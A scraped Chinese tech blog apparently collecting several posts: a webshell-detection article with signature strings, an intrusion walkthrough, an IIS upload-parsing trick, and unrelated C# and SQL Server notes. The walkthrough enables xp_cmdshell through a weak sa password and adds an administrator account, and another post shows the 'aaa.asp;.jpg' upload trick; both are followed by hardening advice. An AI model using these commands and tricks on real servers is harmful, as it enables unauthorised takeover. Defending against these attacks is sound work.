Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

目录]
0x00 前言
0x01 Webshell检测模型
0x02 静态特征检测
0x03 动态特征检测
0x04 结语

0x00 前言
什么是webshell?我相信如果看官能有兴趣看这篇文章,一定对webshell有个了解。不
过不了解也没关系,那就请先搜索下相关资料[1]。当然,本着“know it then hack it”
的原则,建议你还是搭个环境,熟悉下先,毕竟纸上谈兵是要不得的。
随着网络的发展,Web站点的增加,webshell这种脚本后门技术也发展起来了,多少黑
客故事都是从一个小小的webshell开始的。所以对于网站,特别是站点和应用众多的互联网
企业,能够在出现webshell的阶段及时发现和响应就显得尤为重要。
本文以笔者多年从事相关工作的经验来探讨下webshell的检测手段。

0x01 Webshell检测模型
记得当年第一个ASP木马出来的时候号称“永不被杀的ASP木马”(请大家虔诚地起立,
我们一起来膜拜一下海洋顶端ASP木马之父LCX大叔),因为它使用正常端口,且脚本容易变
形,使得查杀它变得困难。但是,Webshell这种特殊的Web应用程序也有两个命门:文件和
HTTP请求。
我们先来看下Webshell的运行流程:hacker -> HTTP Protocol -> Web Server -> CGI。
简单来看就是这样一个顺序:黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件。
棘手的是,webshell就是一个合法的TCP连接,在TCP/IP的应用层之下没有任何特征(当然
不是绝对的),只有在应用层进行检测。
黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含
webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数
据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。

0x02 静态特征检测
静态特征检测是指不执行而通过围观的方式来发现webshell,即先建立一个恶意字符串
特征库,然后通过在各类脚本文件中检查是否匹配。这是一种最简单也是最常见的技术,高
级一些的,可能还涉及到语义分析。笔者06年开发的“雷客图ASP站长安全助手”[2]即是通
过此类办法查找ASP类型的webshell的。
静态特征检测面临的一个问题是误报。因为一些特征字符串正常程序本身也需要用到。
比如PHP里面的eval、system等,ASP里面的FileSystemObject、include等。所以雷客图在
设计之初就是一个辅助工具,最终还需要有相关安全经验的人来判定。
对于少量站点可以用这样人肉去检查,如果是一个成千上万站点的大型企业呢,这个时
候再人肉那工作量可就大了。所以用这样一种思路:强弱特征。即把特征码分为强弱两种特
征,强特征命中则必是webshell;弱特征由人工去判断。加入一种强特征,即把流行webshell
用到的特征作为强特征重点监控,一旦出现这样的特征即可确认为webshell立即进行响应。
比如PHPSpy里面会出现phpspy、wofeiwo、eval($_POST[xxx])等,ASP里面出现Shell.Application
等。当然,黑客完全可以变形躲过,没关系,还有人工检查的弱特征。
另一个问题是漏报。程序的关键是特征字符串,它直接关系着结果,如果你的特征库里
面没有记录的甚至是一种新的webshell代码,就可能束手无策了。雷客图第一版出来后,我
自以为所有的ASP webshell都可以查了,但是我错了,因为不断会有新的方式出来绕过,最
终结果就是特征被动的跟着webshell升级而升级,同时还面临未知的webshell??这个情况
和特征码杀毒软件何其相似。
要解决误报和漏报,就不能拘泥于代码级别了。可以换个角度考虑问题:文件系统。我
们可以结合文件的属性来判断,比如apache是noboy启动的,webshell的属主必然也是nobody,
如果我的Web目录无缘无故多了个nobody的文件,这里就有问题了。最理想的办法是需要制度
和流程来建设一个Web目录唯一发布入口,控制住这个入口,非法进来的Web文件自然可以发
现。

0x03 动态特征检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我
们称为动态特征。
先前我们说到过webshell通信是HTTP协议。只要我们把webshell特有的HTTP请求/响应
做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
这个方案有个问题就是漏报。首先你得把网上有的webshell都搜集起来抓特征,这是个
体力活,新的webshell出来还要去更新这个库,总是很被动,被动就算了,但是一些不曾公
开的webshell通信就会漏掉。那么这个方案有没有效果,只能说效果有限吧,对付拿来主义
的菜鸟可以,遇到高级一些的黑客就无效了。杀毒软件都搞主动防御了,webshell也不能老
搞特征码是吧。
webshell起来如果执行系统命令的话,会有进程。Linux下就是nobody用户起了bash,
Win下就是IIS User启动cmd,这些都是动态特征,不过需要看黑客是否执行命令(多半会这
样),还有就是你的服务器上要有一个功能强大的Agent。要是黑客高兴,再反连回去,这
下就更好了,一个TCP连接(也可能是UDP),Agent和IDS都可以抓现行。这里还涉及到主机
后门的一些检测策略,以后有机会再另文叙述。
回到网络层来,之前我们探讨过,Webshell总有一个HTTP请求,如果我在网络层监控HTTP
请求(我没有监控Apache/IIS日志),有一天突然出现一个新的PHP文件请求或者一个平时
是GET请求的文件突然有了POST请求,还返回的200,这里就有问题了。这种基于区别于正常
请求的异常模型,姑且称之为HTTP异常请求模型检测。一旦有了这样的模型,除了Webshell,
还可以发现很多问题的。
还有一个思路来自《浅谈javascript函数劫持》[3]和某款代码审计软件。回忆一下,
我们调试网马的时候,怎么还原它各种稀奇古怪的加密算法呢,简单,把eval改成alert就
好了!类似的,所以我们可以在CGI全局重载一些函数(比如ASP.Net的global.asax文件),
当有webshell调用的时候就可以发现异常。例如以下ASP代码就实现了对ASP的execute函数
的重载:
–code————————————————————————-
<% Function execute(stra) Response.Write("get the arg : "+stra) End Function a="response.write(""hello,world"")" execute(a) %>
——————————————————————————-
这个方法在应用层还是有些问题,所以如果在CGI引擎内核里面改可能会好些。根据小
道消息,这期ph4nt0m的webzine会有一篇文章涉及PHP内核中防webshell的,有兴趣的同学
可以关注。

0x04 结语
本文只探讨了检测Webshell的一些思路,希望对你有些帮助,如果你有更好的方案,也
可以和我探讨。至于一些工具和特征,由于这样那样的原因就不公开了,我始终认为,相比
于工具,思路永远是最重要的。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

过程:利用x-scan扫描目标机,因服务器sqlserver是弱口令,得到sa权限。用查询分析器连接上去,执行以下方法添加一个管理员账号,进尔得到服务器的控制权限:

–打开xp_cmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘

应对方式:net.exe ;net1.exet ;cmd.exe ;tftp.exe ;netstat.exe ;regedit.exe ;at.exe ;
attrib.exe;cacls.exe;format.com;ftp.exe;at.exe;telnet.exe;command.com;netstat.exe;arp.exe;nbtstat.exe仅给管理员权限,其它都去掉,包括system


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1,模拟过程:hacker破解掉网站后台密码后,在文件上传中,上传了一个jpg的木马,网站上面是可以显示图片路径的,然后他在地址栏中执行,由于服务器没有做安全权限,故得到一切…
jpg木马:一个asp或asa木马,将其名称改为 aaa.asp;.jpg 或者aaa.asp;.aaa
这种木马是IIS在执行时有一个解析漏洞引起,称为IIS解析漏洞
IIS解析漏洞
1,网站上传图片的时候,将网页木马文件的名字改成“*.asp;.jpg”,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫“vidun.asp;.jpg”的木马文件,该文件可以被当作 asp 文件解析并执行。

2,在网站下建立文件夹的名字为 *.asp、*.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行。

木马查找:ASPX:DirectoryInfo ASP:filesystemobject

预防措施:
一、网站
1,网站后台密码设置复杂,14位以上
2,限制IP登录
3,上传文件的地方,除限制文件类型外,获取上传文件的后缀名,文件名随机生成,这样就去掉了asp.生成的文件为xxx.jpg,而不在是xxx.aspa;.jpg。
同时,在IIS中,右击上传文件夹,执行权限设置为无

4,若网站是aspx的,那么去掉asp的映射。
二、服务器
1,磁盘目录,仅给administrator,system权限,在高级里面,记得将允许父…,将此…都打上√
把windows临时文件夹temp转移到其它盘
1。在D盘建立temp这个文件夹
2。控制面板/系统/高级/环境变量/用户变量/把temp和tmp值编辑到 d:\temp
3。控制面板/系统/高级/环境变量/系统变量/把temp和tmp值编辑到 d:\temp
4。仅给administrator,system权限,及networkservice的读写权限,重启系统后生效
2,网站目录:networkservice,IIS来宾账号给予读取权限,administrator给予所有权限,其它都去掉。
仅上传文件的目录写权限
3,网站源码:封装成dll,混淆,web.config中的数据库链接移出,字符串加密放到注册表中,在封装的dll类中读取此注册表项信息即可,放在注册表中方便修改。

防止执行CMD
卸载wscript.shell对象,在cmd下或直接运行:regsvr32 /u %windir%\system32\WSHom.Ocx
卸载FSO对象,在cmd下或直接运行:regsvr32.exe /u %windir%\system32\scrrun.dll
卸载stream对象,在cmd下或直接运行: regsvr32 /s /u “C:\Program Files\Common Files\System\ado\msado15.dll”


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication38
{
    public class LevenshteinDistance
    {

        private static LevenshteinDistance _instance=null;
        public static LevenshteinDistance Instance
        {
            get
            {
                if (_instance == null)
                {
                    return new LevenshteinDistance();
                }
                return _instance;
            }
        }
    

        /// <summary>
        /// 取最小的一位数
        /// </summary>
        /// <param name="first"></param>
        /// <param name="second"></param>
        /// <param name="third"></param>
        /// <returns></returns>
        public int LowerOfThree(int first, int second, int third)
        {
            int min = first;
            if (second < min)
                min = second;
            if (third < min)
                min = third;
            return min;
        }

        public int Levenshtein_Distance(string str1, string str2)
        {
            int[,] Matrix;
            int n=str1.Length;
            int m=str2.Length;

            int temp = 0;
            char ch1;
            char ch2;
            int i = 0;
            int j = 0;
            if (n ==0)
            {
                return m;
            }
            if (m == 0)
            {

                return n;
            }
            Matrix=new int[n+1,m+1];

            for (i = 0; i <= n; i++)
            {
                //初始化第一列
                Matrix[i,0] = i;
            }

            for (j = 0; j <= m; j++)
            {
                //初始化第一行
                Matrix[0, j] = j;
            }

            for (i = 1; i <= n; i++)
            {
                ch1 = str1[i-1];
                for (j = 1; j <= m; j++)
                {
                    ch2 = str2[j-1];
                    if (ch1.Equals(ch2))
                    {
                        temp = 0;
                    }
                    else
                    {
                        temp = 1;
                    }
                    Matrix[i,j] = LowerOfThree(Matrix[i - 1,j] + 1, Matrix[i,j - 1] + 1, Matrix[i - 1,j - 1] + temp);


                }
            }

            for (i = 0; i <= n; i++)
            {
                for (j = 0; j <= m; j++)
                {
                    Console.Write(" {0} ", Matrix[i, j]);
                }
                Console.WriteLine("");
            }
            return Matrix[n, m];

        }

        /// <summary>
        /// 计算字符串相似度
        /// </summary>
        /// <param name="str1"></param>
        /// <param name="str2"></param>
        /// <returns></returns>
        public decimal LevenshteinDistancePercent(string str1,string str2)
        {
            int maxLenth = str1.Length > str2.Length ? str1.Length : str2.Length;
            int val = Levenshtein_Distance(str1, str2);
            return 1 - (decimal)val / maxLenth;
        }
    }

    class Program
    {


        static void Main(string[] args)
        {
            string str1 = "你好蒂蒂";
            string str2="你好蒂芬";
            Console.WriteLine("字符串1 {0}", str1);

            Console.WriteLine("字符串2 {0}", str2);

            Console.WriteLine("相似度 {0} %", LevenshteinDistance.Instance.LevenshteinDistancePercent(str1, str2)*100);
            Console.ReadLine();
        }
    }



}


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
1,Update不仅可以给字段赋值,直接给变量赋值也行
DECLARE @str VARCHAR(50)
UPDATE AA
SET aa.c3 = ‘hello’,@str = c3
FROM tmp aa
WHERE aa.c2 = ‘aa’

2, 赋值的保留值,即执行 SELECT ,UPDATE给变量赋值,若没有结果,则保留原值。若执行的是count,则变量赋值为0,若执行的是sum,则变量赋值为空,即对于聚合函数,除count返回为0外,其它如sum, max均返回NULL。
执行 SELECT ,UPDATE给变量赋值,若没有结果,则保留原值,对于聚合函数,都是返回有值的,只是对于count,若没有结果,那么计数为0,即返回值是0,而于sum,max若没有结果,那么聚合的结果是null,null也会返回,覆盖原变量值。

3,聚合函数中, SUM/AVG/COUNT中的NULL会被忽略,对sum,avg,还没什么关系,但要注意的是COUNT,NULL被忽略意味着若count(字段),此字段有一行为NULL,则数量会少一行,他忽略的NULL就是()里的字段,若为常量或*,都不是NULL,也就没有忽略可言。

drop table t_count
create table t_count
(
c1 varchar(10) null,
c2 varchar(10) null
)

insert into t_count values(null,null)
insert into t_count values('a','b')
insert into t_count values('a','b')
insert into t_count values('c','d')
insert into t_count values('c','d')

select COUNT(1) from t_count --5
select COUNT(c1) from t_count --4
select COUNT(distinct c1) from t_count --2

--正常
select count(*) from (select distinct c1,c2 from t_count) t --3
--有NULL参与了运算,所以表达式值为NULL
select count(distinct c1+c2) from t_count --2

4,当用SELECT,UPDATE赋值时,加个TOP,找到即返回,防止遍历所有行!
注:select top 与 select相同点都会将所有满足条件的数据筛选出来然后进行赋值,top并不是筛选到一条就返回,若是将有满足条件的数据筛选出来后,赋值一个即返回,故赋值select top不会比select 性能提高多少。
DECLARE @username VARCHAR(50),@updateusername VARCHAR(50),
@count INT,@sum INT,@max int
SET @username = ‘tt’
SET @updateusername = ‘cc’
SET @count = 22
SET @sum = 33
SET @max = 44
SELECT @username = f.UserName
FROM frmuser f
WHERE 1=2
UPDATE f
SET @updateusername = f.username
FROM frmuser f
WHERE 1=2
SELECT @count= COUNT(1)
FROM frmuser f
WHERE 1=2
SELECT @sum= SUM(f.ID)
FROM frmuser f
WHERE 1=2
SELECT @max= max(f.ID)
FROM frmuser f
WHERE 1=2
SELECT @username –tt
SELECT @updateusername –cc
SELECT @count –0
SELECT @sum –null
SELECT @max –null


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

看了下SQL SERVER2005 关于TOP的定义,发现有一些用法还没掌握
1,取前40% select top (40) percent from table1 –若计算出的行数是小数,则最终行数会向上取整
2,declare @i int
set @i=1
select top @i, * from table1
在存储过程中得不到执行,因为top时后面只能是常量。 之前这样认为,并用了set rowcount @i解决,
但其实可用:select top (@i) * from table1来解决

3,在UPDATE,DELETE 中使用TOP
UPDATE TOP (2) frmuser
SET LastEditDate = GETDATE()

DELETE TOP (2) FROM frmUser

4,select top (@i)使用:对于sys.objects数据库,若类型为s则取2条,v 1条,p,3条
WITH lib AS(
SELECT ‘s’ TYPE ,2 showcount –将规则固定化
UNION ALL
SELECT ‘v’,1
UNION ALL
SELECT ‘p’,3
)

SELECT lib.*,o.*
FROM lib
CROSS APPLY(SELECT TOP (lib.showcount) NAME,create_date
FROM sys.objects o
WHERE o.[type] = lib.type
ORDER BY o.create_date)o
ORDER BY lib.type,o.create_Date


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
public class Watcher
{

    public static void Main()
    {
    Run();

    }

    [PermissionSet(SecurityAction.Demand, Name="FullTrust")]
    public static void Run()
    {
        string[] args = System.Environment.GetCommandLineArgs();

        // If a directory is not specified, exit program.
        if(args.Length != 2)
        {
            // Display the proper way to call the program.
            Console.WriteLine("Usage: Watcher.exe (directory)");
            return;
        }

        // Create a new FileSystemWatcher and set its properties.
        FileSystemWatcher watcher = new FileSystemWatcher();
        watcher.Path = args[1];
        /* Watch for changes in LastAccess and LastWrite times, and
           the renaming of files or directories. */
        watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
           | NotifyFilters.FileName | NotifyFilters.DirectoryName;
        // Only watch text files.
        watcher.Filter = "*.txt";

        // Add event handlers.
        watcher.Changed += new FileSystemEventHandler(OnChanged);
        watcher.Created += new FileSystemEventHandler(OnChanged);
        watcher.Deleted += new FileSystemEventHandler(OnChanged);
        watcher.Renamed += new RenamedEventHandler(OnRenamed);

        // Begin watching.
        watcher.EnableRaisingEvents = true;

        // Wait for the user to quit the program.
        Console.WriteLine("Press \'q\' to quit the sample.");
        while(Console.Read()!='q');
    }

    // Define the event handlers.
    private static void OnChanged(object source, FileSystemEventArgs e)
    {
        // Specify what is done when a file is changed, created, or deleted.
       Console.WriteLine("File: " +  e.FullPath + " " + e.ChangeType);
    }

    private static void OnRenamed(object source, RenamedEventArgs e)
    {
        // Specify what is done when a file is renamed.
        Console.WriteLine("File: {0} renamed to {1}", e.OldFullPath, e.FullPath);
    }
}


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1,360arp防火墙开着,不是arp欺骗
2,在%windir%\system32\inetsrv\MetaBase.xml看到DefaultDocFooter指向一其它文件,明白原因所在!,删除。
DefaultDocFooter 属性指定附加到返回到客户端的 HTML 文件的自定义页脚(页脚并不附加到 ASP 文件)。如果将 EnableDocFooter 属性设置为 true,则仅发送自定义页脚。页脚可以是一个字符串
DirBrowseFlags 控制是否启用目录浏览,可以提供多少目录和文件信息(如果启用浏览)以及目录中是否包含默认页的标记。
注意 如果客户端访问目录时没有提供文件名,而 EnableDefaultDoc 标志设置为 true,那么服务器将查找 DefaultDoc 属性指定的默认文件。如果该目录中不存在默认文件,而 EnableDirBrowsing 标志又设置为 true,那么系统将启用目录浏览。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

栏位用id代替实际内容,
一是进行封装,降低依赖,更改方便。
二是降少了每行的数据量,一个数据页可存储更多记录,IO每次按数据页为单位读取数据时,将能读出更多记录,提升了IO。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
数字辅助表:一个1到N的表 应用:连续范围的结果处理,利用group by会有缺失范围!

创建此函数,每次调用 select dbo.fn_nums(24)即可:
CREATE FUNCTION dbo.fn_nums(@n AS BIGINT) RETURNS TABLE
AS
RETURN
  WITH
  L0   AS(SELECT 1 AS c UNION ALL SELECT 1),
  L1   AS(SELECT 1 AS c FROM L0 AS A, L0 AS B),
  L2   AS(SELECT 1 AS c FROM L1 AS A, L1 AS B),
  L3   AS(SELECT 1 AS c FROM L2 AS A, L2 AS B),
  L4   AS(SELECT 1 AS c FROM L3 AS A, L3 AS B),
  L5   AS(SELECT 1 AS c FROM L4 AS A, L4 AS B),
  Nums AS(SELECT ROW_NUMBER() OVER(ORDER BY c) AS n FROM L5)
  SELECT n FROM Nums WHERE n <= @n;
--注对于n级,最大的行数为2的(2的n次幂)次幂 如n=5时,最大行数为:2的32次方共4294967296行数据!
GO

应用:1,一段日期范围内的订单数,可以用group by,但得不到连续的日期,即若某天没有业绩,就显示不出来,所以用group by有缺陷
数字辅助表:
DECLARE @OrderDateBegin VARCHAR(20),@OrderDateEnd VARCHAR(20)
SET @OrderDateBegin = '2011-01-01'
SET @OrderDateEnd = '2011-02-01'
DECLARE @Span INT
SET @Span = DATEDIFF(dd,@OrderDateBegin,@OrderDateEnd)
--SELECT @Span

SELECT DATEADD(dd,fn.n-1,@OrderDateBegin),
(SELECT COUNT(1) FROM bdorder b(NOLOCK)
 WHERE b.OrderDate>=DATEADD(dd,fn.n-1,@OrderDateBegin)
       AND b.OrderDate < DATEADD(dd,fn.n,@OrderDateBegin) )
FROM dbo.fn_nums(@Span) fn

2,与上面类似,但查询一天每个时间段的数据时或每几个时间段的数据时,也可通过上面的方法处理!


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

对于子查询,名称解析处理是从内部嵌套层向外进行的,若当天表中没有select引用的列,则会从上一层中引用出来,若上层都没有,就会报错。
SELECT *
FROM frmuser a(NOLOCK)
WHERE a.Account NOT IN( SELECT account –
FROM mdDepartment a1(NOLOCK)
)
-account在mdDepartment中不存在,会引用上层frmUser的account,故语句不会报错,为避免这种情况,最好在字段前加别名。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

如查找用户名称仅由数字、字母组成的集合。
定义集合A
每一位都是字母、数字
对应:若元素有一位不是字母、数字则它就不属于A,对每一位上的限定用 NOT LIKE ‘%[限定范围]%’
SELECT * FROM frmUser b(NOLOCK)
WHERE b.WorkNo NOT IN(
SELECT a.WorkNo
FROM frmuser a(NOLOCK)
WHERE a.WorkNo NOT LIKE ‘%[0-9,a-z]%’)


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
Distinct不仅可用在SELECT中,也可用在COUNT内
如:查询出所有在一线、二线部门都出过单的客户
方法:按客户ID分组,对成单的部门进行DISTINCT,次数大于2的即是
SELECT a.CustomerID
FROM bdOrder a(NOLOCK)
JOIN frmuser f ON a.SalesStaff = f.Account
JOIN mdDepartment md ON f.DepartmentId = md.ID
WHERE md.DepartType IN('first','second')
AND a.OrderDate >='2011-01-01'
GROUP BY a.CustomerID
HAVING COUNT(DISTINCT md.DepartType) >=2


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

存钱罐,平时存放5毛,1毛,1块的零钱,现在找出所有面值为5毛的。
方案1:存钱罐只有一个,所有零钱都在其中,在里面翻找全部零钱,找出所有5毛的。对应全表扫描。
方案2:将面值分类,存放到不同的存钱罐中,找时直接拿出即可。只是要增加额外的存钱罐,并且在放零钱时要注意放到对应的存钱罐中。对应数据库索引的存储空间,及在插入更新时要对索引进行操作,不过换来的是查询速度的提升。

当存钱量上升到多倍时,找5毛的硬币所费时间并没有增长多少,所花费的时间在于取出数量。即:数据量增加,查找时间并不会增长多少,只是增加了I/O时间。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

重启SQL Server服务时,最好使用配置管理器,它会自动进行一些额外的配置,如在Windows注册表中设置权限使新的账号能够读取SQL Server的设定。使用配置管理器来修改密码会立即生效,无需重启服务。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

SQL Server体系结构由四大组件构成:协议、关系引擎(查询处理器)、存储引擎、SQLOS.
协议(秘书):进行翻译与传达工作,它将接收到的请求转换成关系引擎能够识别的形式。并将关系引擎处理的最终结果转换成客户端能够理解的形式返回到客户端。
关系引擎(管理者):接受SQL批处理,以及决定如何处理,对SQL进行解析、编译及优化、执行,若需要数据,它会发送一个请求到存储引擎。
存储引擎(文件柜):负责管理所有的数据访问,包括基于事务的命令和大批量操作。
SQLOS:负责各层之间的沟通、例如线程调度、死锁检测等。

协议:在SQL Server的配置管理器中可以看到。
1,共享内存(本机访问):客户端通过该协议连接到本地计算机上的SQL Server运行实例
2,命名管着(局域网访问):为局域网而开发的协议。应用于局域网内因为它要求客户端必须具有访问服务器资源的权限。
3,TCP/IP(网络访问):在网络之间连接,可以用来在不同的硬件体系结构和操作系统的计算机网络之间进行通讯。
4,虚拟接口适配器(VIA):它是一种与VIA硬件一起使用的专门化的协议。
通常,TCP/IP 在慢速 LAN、WAN 或拨号网络中效果较好。而当网络速度不成问题时 Named Pipes 则是更好的选择,因为其功能更强、更易于使用并具有更多的配置选项。
经测试:只开TCP/IP,本机、局域网都可访问
只开Named Pipes:本机可访问,局域网不行,局域网要有访问本机的权限,设置后才可访问
只开共享内存:都不能访问
重要性:TCP/IP > Named Pipes > 共享内存


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

1,SQL SERVER 存储数据的最小单位是页,大小为8KB,它可以包含表或索引数据、分配视图、可用空间信息等。
1)它是SQL SERVER可以读写的最小I/O单位,所以即使访问一行,SQL SERVER也要把整个页加载到缓存,再从缓存中读取数据。
2)页的大小是8KB,即8192字节,故行的大小不会超过8192字节,最大值是8060字节,因为8192-96(标头信息)- 2(页尾维护的行指针)- 34(保留字节) = 8060
3)在2005之前的版本中行不能跨多页,而2005之后是可以的,当行大小超过8060字节后,这些类型的值将被移动到一个称为行溢出分配单元的页中,而在原始页上保留一个24字节的指针,指向行外的数据。

2,8个物理上连续的页组成的单元称为区。

3,表没有索引时组织为堆,有时组织为B树,堆是无序的,给定一个值,在对于节点处不知是在此节点的左子节点还是右子节点,而B树是有序的,给定一个值是可以知道是向左走还是右走。
概念:堆是一种特殊的二叉树,每个接点的关键值都大(或小于)它的左右孩子接点,一般指最大堆或最小堆
具备以下两种性质
1)每个节点的值都大于(或者都小于,称为最小堆)其子节点的值
2)除最后一层外每一层都是填满的,并且最后一层的树叶都在最左边

B树 :二叉树,每个结点只存储一个关键字,等于则命中,小于走左结点,大于走右结点;
二者区别:在于子结点上,B树是子结点比父结点小,右结点比父结点大,而堆没有这种性质。


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

表设计中增加列,在列的计算所得列的规范中录入公式即可
持久代表值是否实际存储起来还是每次查询时重新生成
如:ALTER TABLE dbo.tmp ADD cs_Pname AS CHECKSUM(c1);
为列计算校验值,然后在此列上加上索引,则比一般的查询速度要快
应用:1,字符串比较没有数字比较来得快,故可增加一列存字符串的校验值,在此值上加索引进行比较,速度将提升很多

2,SELECT CHECKSUM(NEWID()) 返回随机数1到n: abs(CHECKSUM(NEWID()))%n + 1

3,CHECKSUM(NEWID()) 返回8-10位数字,故要求11位以上的随机不重复数,可采用:
SELECT right(right(abs(CHECKSUM(NEWID())),3) + CONVERT(varchar(50),abs(CHECKSUM(NEWID()))),11)

4,随机时间:
SELECT DATEADD(mi,ABS(CHECKSUM(NEWID())%(1+DATEDIFF(mi,’2011-05-14 13:00′,’2011-05-14 14:00′))),’2011-05-14 13:00′)

5,比较两行多个列是否相同
SELECT CHECKSUM(1,2,4)
SELECT DISTINCT OBJECT_ID,NAME,TYPE
FROM sys.tables tb
WHERE CHECKSUM(OBJECT_ID,NAME,type)
IN(
SELECT CHECKSUM(OBJECT_ID,NAME,type)
FROM (
SELECT OBJECT_ID,NAME,TYPE FROM sys.objects o
)obj
)
注: checksum不区分大小写,若要区分,要用BINARY_CHECKSUM


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58

32位机能够寻址为:2^32次方 = 4G,而Windows系统本身会将2GB的地址空间留做已用。故所有应用程序最大内存空间为2G,SQL SERVER若想超过2G,需要开启AWE!
/3g开关,只是将用户可用物理内存调整为3g核心系统内存调整为1个g,提高用户程序的执行性能
/pae开关,只是用于在大于4g的物理内存时 识别出更多内存使用
awe 是帮助应用程序能寻址大于4g的空间
pae是开awe的前提。 pae是整体上开到4G以上,awe是让sql server可以大于4g以上,只开awe,因整体不允许超过4G,故开AWE也要开PAE


Warning: Undefined array key "HTTP_REFERER" in /www/wwwroot/prod/www.enjoyasp.net/wp-content/plugins/google-highlight/google-hilite.php on line 58
通过SQL Server?>Tools?>SQL Server Profiler启动
注:激活SQL Profiler跟踪约损耗1/7的性能,所以要谨慎使用。
1,通用页:跟踪的记录有两种保存方式:保存到文件和保存到表。通常选择保存到文件,不要把跟踪直接写入到表,这样会严重影响性能,把文件写到与数据库位置不同的磁盘是最快的方案。
2,模块选择:
Standard:创建跟踪的通用起点。捕获所运行的全部存储过程和 Transact-SQL 批处理。用于监视常规数据库服务器活动。
TSQL:捕获客户端提交给 SQL Server 的所有 Transact-SQL 语句及其发出时间。用于调试客户端应用程序。
TSQL_Duration:捕获客户端提交给 SQL Server 的所有 Transact-SQL 语句及其执行时间(以毫秒位单位),并按持续时间对其进行分组。用于识别执行速度慢的查询。
TSQL_Grouped:捕获提交给 SQL Server 的所有 Transact-SQL 语句及其发出时间。信息按提交语句的用户或客户端分组。用于调查某客户端或用户发出的查询。
TSQL_Locks:捕获客户端与异常锁事件一起提交到 SQL Server 的 Transact-SQL 语句。用于排除死锁、锁超时和锁升级事件的故障。
TSQL_Replay:捕获重播跟踪所需的 Transact-SQL 语句的详细信息。用于执行迭代优化,例如基准测试。

3,事件选择:若多是存储过程,则跟踪SP:Completed事件,若存储过程有很多操作,查看明细要跟踪SP:StmtCompleted.
若程序多是sql语句,则跟踪SQL:BatchCompleted与 SQL:StmtCompleted事件
在事件选择版块上点击列名,可以进行筛选,如指定数据库筛选:DataBaseName 类似于brm_lvjian_new.

4,1) 文件导出脚本,包装成一个存储过程 ,在此存储过程中 print @traceid
   2)执行此存储过程,根据打印出的@traceid来控制跟踪的执行与停止,之所以不用profiler的GUI界面,第一是profiler不便于分析,并且需要将数据写入到GUI,性能也不高。运行:EXEC [WorkTraceStart] 'brm_lvjian_new',@tracefile='d:\mytrace'
   3)控制跟踪:执行: EXEC sp_trace_setstatus @traceid, [0|1|2]    0: 停止 1:启动 2:删除
       注:在执行2)的存储过程后,里面有一个 EXEC sp_trace_setstatus @traceid, 1; 将启动跟踪。
       查看跟踪:sys.traces

4,分析保存的跟踪文件
1)导入
select CAST(textdata as nvarchar(max)) as tsql_code,duration
into Workload
from sys.fn_trace_gettable('C:\test\performancetrace_20100802.trc',NULL) as TT

2)分析
